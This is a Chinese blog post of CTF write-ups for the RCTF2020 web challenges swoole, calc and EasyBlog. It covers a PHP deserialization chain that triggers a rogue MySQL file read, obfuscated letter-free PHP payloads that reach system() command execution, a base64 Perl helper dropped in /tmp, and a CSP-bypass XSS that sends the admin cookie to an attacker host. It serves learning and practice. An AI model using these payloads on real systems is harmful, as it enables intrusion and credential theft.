RCTF2020 calc & EasyBlog & swoole

这比赛的web太可怕了,我爬了

swoole

writeup:https://blog.rois.io/2020/rctf-2020-official-writeup/
源码如下

#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
    function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
        Swoole\Runtime::enableCoroutine();
        $response->header('Content-Type', 'text/plain');
        // $response->sendfile('/flag');
        if (isset($request->get['phpinfo'])) {
            // Prevent racing condition
            // ob_start();phpinfo();
            // return $response->end(ob_get_clean());
            return $response->sendfile('phpinfo.txt');
        }
        if (isset($request->get['code'])) {
            try {
                $code = $request->get['code'];
                if (!preg_match('/\x00/', $code)) {
                    $a = unserialize($code);
                    $a();
                    $a = null;
                }
            } catch (\Throwable $e) {
                var_dump($code);
                var_dump($e->getMessage());
                // do nothing
            }
            return $response->end('Done');
        }
        $response->sendfile(__FILE__);
    }
);
$http->start();

用了swoole框架,并且直接给了反序列化:

$a = unserialize($code);
$a();

这里首先需要知道这个,即:[类,方法名]()的方式去调用类中的方法

<?php
class demo{
	public function test(){
		phpinfo();
	}
}
$a = new demo();
$b = [$a,'test'];
$b();

数组
然后就是需要触发rogue mysql
根据hint:https://github.com/swoole/library/issues/34
这里mysql连接之后的选项均无效,那就找一个替代的:PDO

先看一下文档里的PDO连接方式:
在这里插入图片描述
需要用到PDOPool这个类然后去调用PDOPool::get()完成连接

说实话我看完writeup还是很懵

认为直接去序列化PDOPool::get然后反序列化就完成了,如

 $a = new \Swoole\Database\PDOPool((new \Swoole\Database\PDOConfig)
        ->withHost('123.57.240.205')
        ->withPort(3307)
        ->withDbName('test')
        ->withCharset('utf8mb4')
        ->withUsername('root')
        ->withPassword('root')
        ->withOptions([
             \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
             \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
        ])
    );
  echo serialize([$a,'get']);

在swoole环境下运行会报错:
PHP Fatal error: Uncaught Exception: Serialization of 'Swoole\Coroutine\Channel' is not allowed in
看一下源码:
PDOPool继承了ConnectionPool,在ConnectionPool中找到$pool,类型为Channel
在这里插入图片描述
然 后 发 现 原 来 是swoole 4.3.0版 本 后 已 经 移 除 Channel这个类的序列化,可 以 用 new \SplDoublyLinkedList()来替代$pool

那么就不能偷家了(不能直接序列化PDOPool::get)

所以要找另外一个方式,这也是我在复现的时候不理解的一个点,后来用swoole环境就清楚多了= =。

首先既然不能直接调用类:方法,那么就只能找一条链了,而链反序列化出来的东西肯定包含其他类方法,所以$a()会调用ObjectProxy::__invoke方法:
在这里插入图片描述
然后将__object设置为Handler::exec
在这里插入图片描述
而这个execute函数也比较巧妙,允许我们执行两个自定义回调函数
在这里插入图片描述
在这里插入图片描述
那么先看第一个cb,Handler::headerFunction,将其设置为MysqliProxy::reconnect
这里允许我们调用函数
在这里插入图片描述
然后初始化一个ObjectProxy,参数为函数返回的结果
在这里插入图片描述
令constructor为ConnectionPool::get
先看它的__construct
在这里插入图片描述
将这几个参数初始化为:
在这里插入图片描述
然后进入get
在这里插入图片描述
由于pool被设置成了new SplDoublyLinkedList(),IsEmpty返回true,并且num<size

<?php
$a=new SplDoublyLinkedList();
var_dump($a->IsEmpty());//bool(true)

满足if进入make(),在这里看到有个能让我们实例化随意类,随意参数的地方,那就将proxy设置成PDOPool,将constructor设置成它的配置:PDOConfig
在这里插入图片描述
然后将类带入put
在这里插入图片描述
put里面做了一个push操作,然后执行结束返回:

return $this->pool->pop();

我本地测了一下push后pop数据没变化
在这里插入图片描述
所以这里return的就是一个PDOPool类了
对应writeup中的代码:

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ip');    // your rouge-mysql-server host & port
$c->withPort(3307);
$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

$a = new \Swoole\ConnectionPool(function () { }, 0, '');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());
changeProperty($a, 'proxy', '\\Swoole\\Database\\PDOPool');

顺带啰嗦一下

如果MySQL客户端连接以后,如果没有进行任何一句包括SELECT @@version之类的查询,客户端是完全不会响应服务器的LOCAL INFILE请求的。有许多客户端,例如MySQL命令行,连接之后就会向服务器查询各类参数。但PHP的MySQL客户端连接之后是什么都不会做的,因此我们需要给MySQL客户端配置MYSQL_ATTR_INIT_COMMAND参数,让它连接之后自动向服务器发送一条SQL语句。

那么PDOPool这个类就完成了

到这里第一个函数$cb就完成了,并且ObjectProxy::__object为PDOPool类

来看第二个$cb,令Handler::readFunction为MysqliProxy::get,MysqliProxy没有get方法,触发__call
在这里插入图片描述
这里的__object已经被我们上一步操作覆盖为PDOPool类,最后一步就是连接了,所以才会令Handler::readFunction为MysqliProxy::get,此时name为get,也就调用了PDOPool::get

完成PDO连接

然后用S和\00绕一下这个正则即可:

!preg_match('/\x00/', $code))

直接跑官方exp,然后服务器上跑Rogue-MySql-Server即可:
在这里插入图片描述
看了好久总算懂了...Orz

calc

计算,跟到/calc.php有源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

过滤比较严格,最关键的把字母、异或、反引号、$等ban了,那么之前常用的无字母数字webshell就不好使了,不过有或运算和与运算还在,那么就可以通过| & ~等构造字母
echo (((10000000000000000000000).(1)){3});
在这里插入图片描述
可以得到E,或是
在这里插入图片描述
姿势很多

贴一个cjm00n师傅的脚本,Orz:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

table = list(b'0123456789.-EINF')
dict={}
l=len(table)
temp=0
while temp!=l:
    for j in range(temp,l):
        if ~table[j] & 0xff not in table:
            table.append(~table[j] & 0xff)
            dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
    for i in range(l):
        for j in range(max(i+1,temp),l):
            t = table[i] & table[j]
            if t not in table:
                table.append(t)
                dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
            t = table[i] | table[j]
            if t not in table:
                table.append(t)
                dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
    temp=l
    l=len(table)

table.sort()
def howmake(ch:int) -> str:
    if ch in b'0123456789':
        return '(((1).(' + chr(ch) + ')){1})'
    elif ch in b'.':
        return '(((1).(0.1)){2})'
    elif ch in b'-':
        return '(((1).(-1)){1})'
    elif ch in b'E':
        return '(((1).(0.00001)){4})'
    elif ch in b'I':
        return '(((999**999).(1)){0})'
    elif ch in b'N':
        return '(((999**999).(1)){1})'
    elif ch in b'F':
        return '(((999**999).(1)){2})'

    d = dict.get(ch)
    if d:
        op = d.get('op')
        if op == '~':
            c = '~'+howmake(d.get('c'))
        elif op =='&':
            c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
        elif op == '|':
            c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
        return f'({c})'
    else:
        print('error')
        return

if __name__ == '__main__':
    while 1:
        payload = input('>')
        result = []
        for i in payload:
            result.append(howmake(ord(i)))
        result='.'.join(result)
        print(f'({result})')

思路就是先得到可打印字符的ascii的构造方式,然后根据传入的字符的ascii,在0123456789.-E这几个数的基础上递归拼接
在这里插入图片描述
然后构造system(next(getallheaders()))执行命令:

(((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(-1)){1})|(((1).(0.00001)){4})))((((((1).(0.1)){2})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))))((((((1).(0.00001)){4})|((((1).(2)){1})&(((1).(0.1)){2}))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))))()));

在这里插入图片描述
/readflag之前需要计算
在这里插入图片描述
可以将payload写入/tmp下然后用perl执行,编码一下防止数据丢失

echo 'IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow=='|base64 -d >/tmp/a.pl

在这里插入图片描述
然后执行perl /tmp/a.pl即可
在这里插入图片描述

EasyBlog

渣渣来复现
登陆注册后是明显的XSS

尝试用<img src=#>可以正常插入图片,但是插入<img src=# onerror=alert(1)>会被过滤,看一下csp:

default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'

注意到有unsafe-eval和nonce

unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数

而nonce:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行

并且由于没有unsafe-inline,即使成功插入了<script>也不会被执行

先看文章处的js代码:

function addComments(comments) {
  comments.forEach(function (comment) {
    let html = `
    <div class="panel panel-default">
        <div class="panel-heading">
          <span class="name"></span>
          <div class="pull-right">
              <button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
                <span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
              </button>
              <button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
                <span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
              </button>
          </div>
        </div>
        <div class="panel-body"></div>
      </div>
    `;
    dom = $(html)
    dom.find('div>.name').text(comment.name)
    dom.find('.panel-body').html(comment.comment)
    $('#comments').append(dom)
  })
}
function getUrlParam(name) {
  var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
  var r = window.location.search.substr(1).match(reg)
  if (r != null) return unescape(r[2])
  return null
}

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
  let btn = $(e.currentTarget)
  if (btn.hasClass('like')) {
    $.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
      let count = parseInt(btn.children('span:last-child').text())
      btn.children('span:last-child').text(count + 1)
    })
  } else if(btn.hasClass('dislike')) {
    $.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
      let count = parseInt(btn.children('span:last-child').text())
      btn.children('span:last-child').text(count + 1)
    })
  }
})

这里有一个jsonp的回调函数

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

但是由于没有unsafe-inline限制了script脚本的执行

根据writeup是考的script gadget(代码重用)

例如html如下

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
<script>
var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");
</script>
</body>
</html>

首先button中的一个属性是img的error弹窗,但是直接放到html中并不会产生效果,但是如果用script标签加载一个js,内容为选择id为mbutton的button,并取出data-text属性值,并放入加入html中便会产生gadget(代码重用)此时img便被加入了button
在这里插入图片描述
并且成功弹窗
在这里插入图片描述
回到题目,这里由于没有unsafe-inline,无法加载script标签,那么便无法gadget

看到zepto源码:
https://github.com/madrobby/zepto/blob/763b3d6dc3b4350759ed30aa196cd2b6e39efcfb/src/zepto.js#L918
在这里插入图片描述
这里可以看到如果结点的大写是SCRIPT就会将其用eval执行,这正好符合csp当中的unsafe-eval,所以,在不使用script标签的情况下,仍然可以用eval来执行js完成gadget,那么可以用ı来替代i,payload:

<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>

将其插入到文章评论处,zepto会自动帮我们eval执行,然后提交给bot
在这里插入图片描述
收到管理员cookie
在这里插入图片描述
在这里插入图片描述
还有一种解法,首先回到这个jsonp,观察到cb为回调函数处

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

getUrlParam函数是根据&来获取id参数的

function getUrlParam(name) {
  var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
  var r = window.location.search.substr(1).match(reg)
  if (r != null) return unescape(r[2])
  return null
}

那么就用%26代替&,在show处增加一个cb,也就是回调函数,来执行代码:

?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=alert()//&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06

然后原理还是gadget,用eval来执行,在一开始写文章处插入:

<input id="a" value="window.location='http://ip:port/'">

然后url的cb改为eval(a.value)即可

?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=eval(a.value)//id=0e65a36c-8369-4ae9-bb32-60119d4e2d06
posted @ 2020-06-04 15:24  W4nder  阅读(1301)  评论(0编辑  收藏  举报